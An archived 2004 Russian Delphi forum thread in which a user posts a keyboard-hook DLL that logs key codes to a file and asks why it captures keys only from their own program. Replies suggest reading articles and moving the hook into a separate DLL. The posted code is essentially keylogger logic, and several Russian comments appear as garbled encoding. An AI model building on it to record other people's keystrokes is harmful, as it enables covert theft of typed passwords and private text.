Форум: "WinAPI";
Текущий архив: 2004.05.02;
Скачать: [xml.tar.bz2];
ВнизГлобальный ХУК Найти похожие ветки
← →
cherrex (2004-03-09 14:04) [0]Пытаюсь ставить глобальный ХУК, а он перехватывает сообщения только с моего приложения.Я уже и в место hInstance пишу хэндл dll. ПОМОГИТЕ!!!!!!
library keyhook;
uses
SysUtils,
Windows,
Messages,
Forms;
var
hh : HHOOK;
F : TextFile;
{$R *.res}
function KeyboardProc(code : integer; wParam : word; lParam : longint) : longint;export; stdcall;
begin
if code < 0 then
begin
Result:= CallNextHookEx(hh, Code, wParam, lParam);
Exit;
end;
if ( ((lParam and $80000000)=0) and (wParam>=0) and (wParam<=120) )
OR ( ((lParam and $80000000)=0) and (wParam=VK_SPACE) )
then
begin
AssignFile(f,"log.txt");
Append(f);
Try
Writeln(f,IntToStr(wParam));
Finally
CloseFile(f);
end;
end;
CallNextHookEx(hh, Code, wParam, lParam);
Result:= 0;
end;
//******************************************************************************
procedure hook(switch : Boolean; hMainProg: HWND) export; stdcall;
begin
if switch=true then
begin
{Óñòàíàâëèâàþ HOOK, åñëè îí íå óñòàíîâëåí (switch=true). }
hh := SetWindowsHookEx(WH_Keyboard, @KeyboardProc, LoadLibrary ("KeyHook.dll"), 0);
if hh <> 0 then
MessageBox(0, "Shell HOOK óñòàíîâëåí !", "Message from shell.dll", 0)
else
MessageBox(0, "HOOK óñòàíîâèòü íå óäàëîñü !", "Message from shell.dll", 0);
end
else
{Óäàëÿþ ôóíêöèþ-ôèëüòð, åñëè îíà óñòàíîâëåíà (ò.å. switch=false). }
UnhookWindowsHookEx(hh)
end;
//******************************************************************************
exports hook;
begin
end.
← →
Игорь Шевченко © (2004-03-09 14:06) [1]Читаем статью про хуки на этом сайте в разделе "Статьи". Долго.
← →
icebeerg © (2004-03-09 14:54) [2]> Игорь Шевченко © (09.03.04 14:06) [1]
И нудно!
(хук справа, слева, снизу, ГЛОБАЛЬНЫЙ ХУК :))
← →
cherrex (2004-03-09 15:40) [3]С DLL из примера тоже самое
← →
tesseract © (2004-03-11 18:12) [4]Про хуки надо читать в статьях на RSDN. У меня всё работало - но какой на фиг forms в DLL перехвата????? Если ты в EXE его пишешь то конечно не заработает - надо отдельную DLL писать.
Страницы: 1 вся ветка
Форум: "WinAPI";
Текущий архив: 2004.05.02;
Скачать: [xml.tar.bz2];
Память: 0.45 MB
Время: 0.033 c